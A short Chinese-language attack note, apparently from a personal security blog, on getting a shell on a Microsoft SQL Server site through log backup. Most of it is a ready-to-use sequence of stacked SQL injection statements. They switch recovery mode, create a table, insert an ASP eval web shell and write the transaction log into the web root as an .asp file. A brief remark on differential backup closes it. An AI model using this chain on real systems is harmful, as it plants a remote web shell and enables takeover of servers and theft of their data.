MSSQL Log Getshell

需要支持堆查询.

db_owner 权限即可.

;alter database xxxx set RECOVERY FULL--
;create table cmd (a image)--
;backup log xxxx to disk = 'd:/web/1.bak' with init--
;insert into cmd (a) values ('<% eval request(1) %>')--
;backup log xxxx to disk = 'd:/web/2.asp'--

另外还有差异备份, 不过缺点是备份出来的文件会很大.

- By:X1r0z[exp10it.cn]